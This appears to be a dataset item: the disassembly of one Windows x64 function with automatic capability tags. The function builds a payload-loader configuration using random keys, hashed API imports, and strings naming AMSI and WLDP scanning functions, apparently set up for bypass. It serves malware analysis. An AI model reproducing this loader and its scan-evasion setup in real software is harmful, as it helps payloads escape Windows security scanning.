Function at 0x180001860
Capabilities:
Create new key via cryptacquirecontext
Encode data using xor
Generate random numbers via winapi

Disassembly:
push rbx
push rbp
push rsi
sub rsp, 0xa0
mov rax, qword [0x180006008]
xor rax, rsp
mov qword [rsp + 0x88], rax
cmp dword [rcx + 0x1020], 1
mov ebp, 0x2068
mov qword [rsp + 0x38], rbp
mov rsi, rcx
mov qword [rsp + 0x40], rcx
jne 0x1800018aa
mov rax, qword [rcx + 0x1010]
add rax, rbp
mov rbp, rax
mov qword [rsp + 0x38], rax
mov edx, 1
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rbx, rax
test rax, rax
jne 0x1800018c8
lea eax, [rbx + 6]
jmp 0x180001f65
mov qword [rsp + 0xc8], rdi
lea rcx, [rsp + 0x30]
mov qword [rsp + 0xd8], r13
mov r9d, 0x18
mov qword [rsp + 0x98], r14
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x90], r15
mov dword [rsp + 0x20], 0xf0000040
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x180001f40
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x68]
mov edx, 0x20
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x30]
xor edx, edx
mov edi, eax
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
test edi, edi
je 0x180001f40
movups xmm0, xmmword [rsp + 0x68]
mov r9d, 0x18
mov dword [rsp + 0x20], 0xf0000040
xor r8d, r8d
lea rcx, [rsp + 0x30]
movups xmmword [rbx + 4], xmm0
xor edx, edx
movups xmm1, xmmword [rsp + 0x78]
movups xmmword [rbx + 0x14], xmm1
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x180001f40
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x48]
mov edx, 0x20
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x30]
xor edx, edx
mov edi, eax
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
test edi, edi
je 0x180001f40
movups xmm0, xmmword [rsp + 0x48]
lea r14, [rbx + 0x618]
mov rcx, r14
movups xmmword [rbx + 0x720], xmm0
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [rbx + 0x730], xmm1
call fcn.1800013e0
test eax, eax
je 0x180001f40
mov edx, 8
lea rcx, [rbx + 0x28]
call fcn.180001370
test eax, eax
je 0x180001f40
mov rax, qword [str.kernel32.dll]
mov qword [rsp + 0xd0], r12
xor r12d, r12d
test rax, rax
je 0x180001a5e
mov ebp, r12d
lea r15, [rbx + 0x30]
mov r14d, r12d
lea rsi, str.kernel32.dll
nop dword [rax + rax]
mov rdx, qword [rbx + 0x28]
mov rcx, rax
call fcn.180002d70
mov rdx, qword [rbx + 0x28]
mov rdi, rax
mov rcx, qword [r14 + rsi + 8]
call fcn.180002d70
xor rax, rdi
inc rbp
mov qword [r15], rax
lea r15, [r15 + 8]
mov r14, rbp
inc r12d
shl r14, 4
mov rax, qword [r14 + rsi]
test rax, rax
jne 0x180001a10
mov rsi, qword [rsp + 0x40]
lea r14, [rbx + 0x618]
mov rbp, qword [rsp + 0x38]
mov dword [rbx + 0x234], 1
mov dword [rbx + 0x230], r12d
movsd xmm0, qword [str.ole32.dll]
mov r12, qword [rsp + 0xd0]
movsd qword [rbx + 0x238], xmm0
movzx eax, word [0x180004538]
mov word [rbx + 0x240], ax
mov dword [rbx + 0x234], 2
movsd xmm0, qword [str.oleaut32.dll]
movsd qword [rbx + 0x258], xmm0
mov eax, dword [0x180004358]
mov dword [rbx + 0x260], eax
movzx eax, byte [0x18000435c]
mov byte [rbx + 0x264], al
movsxd rcx, dword [rbx + 0x234]
mov rdx, rcx
shl rdx, 5
lea eax, [rcx + 1]
mov dword [rbx + 0x234], eax
movsd xmm0, qword [str.wininet.dll]
movsd qword [rdx + rbx + 0x238], xmm0
mov eax, dword [0x180004420]
mov dword [rdx + rbx + 0x240], eax
movsxd rcx, dword [rbx + 0x234]
mov rdx, rcx
shl rdx, 5
lea eax, [rcx + 1]
mov dword [rbx + 0x234], eax
movsd xmm0, qword [str.mscoree.dll]
movsd qword [rdx + rbx + 0x238], xmm0
mov eax, dword [0x1800044f8]
mov dword [rdx + rbx + 0x240], eax
mov ecx, dword [rsi + 0x1008]
lea eax, [rcx - 1]
cmp eax, 1
jbe 0x180001c6e
lea eax, [rcx - 5]
cmp eax, 1
jbe 0x180001b84
cmp ecx, 7
jne 0x180001cc2
movups xmm0, xmmword [0x18000be30]
movups xmmword [rbx + 0x4dc], xmm0
movups xmm1, xmmword [0x18000be90]
movups xmmword [rbx + 0x4ec], xmm1
movups xmm0, xmmword [0x18000be40]
movups xmmword [rbx + 0x4fc], xmm0
jmp 0x180001cc2
movups xmm0, xmmword [0x18000c0f0]
lea rcx, [rbx + 0x3cc]
mov al, 0x57
lea rdx, str.WScript
movups xmmword [rbx + 0x3fc], xmm0
movups xmm1, xmmword [0x18000be10]
movups xmmword [rbx + 0x40c], xmm1
movups xmm0, xmmword [0x18000c110]
movups xmmword [rbx + 0x48c], xmm0
movups xmm1, xmmword [0x18000bde0]
movups xmmword [rbx + 0x49c], xmm1
movups xmm0, xmmword [0x18000bea0]
movups xmmword [rbx + 0x4ac], xmm0
movups xmm1, xmmword [0x18000be00]
movups xmmword [rbx + 0x4bc], xmm1
movups xmm0, xmmword [0x18000be60]
movups xmmword [rbx + 0x4cc], xmm0
nop word [rax + rax]
movsx eax, al
lea rdx, [rdx + 1]
mov word [rcx], ax
lea rcx, [rcx + 2]
movzx eax, byte [rdx]
test al, al
jne 0x180001c00
lea rcx, [rbx + 0x3dc]
mov al, 0x77
lea rdx, str.wscript.exe
nop word [rax + rax]
movsx eax, al
lea rdx, [rdx + 1]
mov word [rcx], ax
lea rcx, [rcx + 2]
movzx eax, byte [rdx]
test al, al
jne 0x180001c30
cmp dword [rsi + 0x1008], 5
jne 0x180001c5e
movups xmm0, xmmword [0x18000be70]
movups xmmword [rbx + 0x47c], xmm0
jmp 0x180001cc2
movups xmm0, xmmword [0x18000c100]
movups xmmword [rbx + 0x47c], xmm0
jmp 0x180001cc2
movups xmm0, xmmword [0x18000be20]
movups xmmword [rbx + 0x46c], xmm0
movups xmm1, xmmword [0x18000bdf0]
movups xmmword [rbx + 0x42c], xmm1
movups xmm0, xmmword [0x18000bec0]
movups xmmword [rbx + 0x41c], xmm0
movups xmm1, xmmword [0x18000be80]
movups xmmword [rbx + 0x43c], xmm1
movups xmm0, xmmword [0x18000beb0]
movups xmmword [rbx + 0x45c], xmm0
movups xmm1, xmmword [0x18000be50]
movups xmmword [rbx + 0x44c], xmm1
mov eax, dword [str.AMSI]
mov dword [rbx + 0x338], eax
movzx eax, byte [0x1800045e0]
mov byte [rbx + 0x33c], al
movsd xmm0, qword [str.AmsiInitialize]
movsd qword [rbx + 0x39c], xmm0
mov eax, dword [0x1800045f0]
mov dword [rbx + 0x3a4], eax
movzx eax, word [0x1800045f4]
mov word [rbx + 0x3a8], ax
movzx eax, byte [0x1800045f6]
mov byte [rbx + 0x3aa], al
movsd xmm0, qword [str.AmsiScanBuffer]
movsd qword [rbx + 0x3ac], xmm0
mov eax, dword [0x180004600]
mov dword [rbx + 0x3b4], eax
movzx eax, word [0x180004604]
mov word [rbx + 0x3b8], ax
movzx eax, byte [0x180004606]
mov byte [rbx + 0x3ba], al
movsd xmm0, qword [str.AmsiScanString]
movsd qword [rbx + 0x3bc], xmm0
mov eax, dword [0x180004610]
mov dword [rbx + 0x3c4], eax
movzx eax, word [0x180004614]
mov word [rbx + 0x3c8], ax
movzx eax, byte [0x180004616]
mov byte [rbx + 0x3ca], al
mov dword [rbx + 0x344], 0x524c43
mov eax, dword [str.WLDP]
mov dword [rbx + 0x34c], eax
movzx eax, byte [0x18000461c]
mov byte [rbx + 0x350], al
movups xmm0, xmmword [str.WldpQueryDynamicCodeTrust]
movups xmmword [rbx + 0x35c], xmm0
movsd xmm0, qword [0x180004630]
movsd qword [rbx + 0x36c], xmm0
movzx eax, word [0x180004638]
mov word [rbx + 0x374], ax
movups xmm0, xmmword [str.WldpIsClassInApprovedList]
movups xmmword [rbx + 0x37c], xmm0
movsd xmm0, qword [0x180004650]
movsd qword [rbx + 0x38c], xmm0
movzx eax, word [0x180004658]
mov word [rbx + 0x394], ax
mov eax, dword [rsi + 0x1020]
mov dword [rbx + 0x50c], eax
cmp eax, 2
jne 0x180001e7d
lea rcx, [rsi + 0xf08]
call fcn.1800013e0
test eax, eax
je 0x180001f40
lea rcx, [rbx + 0x510]
mov r8, rcx
lea rdx, [rsi + 0xd08]
sub r8, rdx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx]
mov byte [rdx + r8], al
lea rdx, [rdx + 1]
test al, al
jne 0x180001e40
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180001e52
xor edx, edx
nop
movzx eax, byte [rsi + rdx + 0xf08]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180001e60
mov dword [rbx + 0x610], 0x544547
mov rax, qword [rsi + 0x1010]
mov qword [rbx + 0x740], rax
mov dword [rbx], ebp
cmp dword [rsi + 0x1020], 2
mov qword [rsi + 0x1030], rbx
mov qword [rsi + 0x1028], rbp
jne 0x180001edb
mov rdx, qword [rbx + 0x28]
mov rcx, r14
call fcn.180002d70
mov rcx, qword [rsi + 0x1018]
lea rdx, [rsp + 0x58]
mov qword [rcx + 0x1908], rax
lea rcx, [rsp + 0x48]
mov r9, qword [rsi + 0x1010]
mov r8, qword [rsi + 0x1018]
call fcn.180002790
cmp dword [rbx + 0x50c], 1
jne 0x180001f05
mov rcx, qword [rsi + 0x1030]
mov r8, qword [rsi + 0x1010]
add rcx, 0x748
mov rdx, qword [rsi + 0x1018]
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rbx + 0x28]
mov rcx, r14
call fcn.180002d70
mov qword [rbx + 0x718], rax
lea r8, [rbx + 0x230]
mov r9, qword [rsi + 0x1028]
lea rdx, [rsp + 0x78]
sub r9, 0x230
lea rcx, [rsp + 0x68]
call fcn.180002790
xor eax, eax
jmp 0x180001f45
mov eax, 0xb
mov r14, qword [rsp + 0x98]
mov r13, qword [rsp + 0xd8]
mov rdi, qword [rsp + 0xc8]
mov r15, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.180003040
add rsp, 0xa0
pop rsi
pop rbp
pop rbx
ret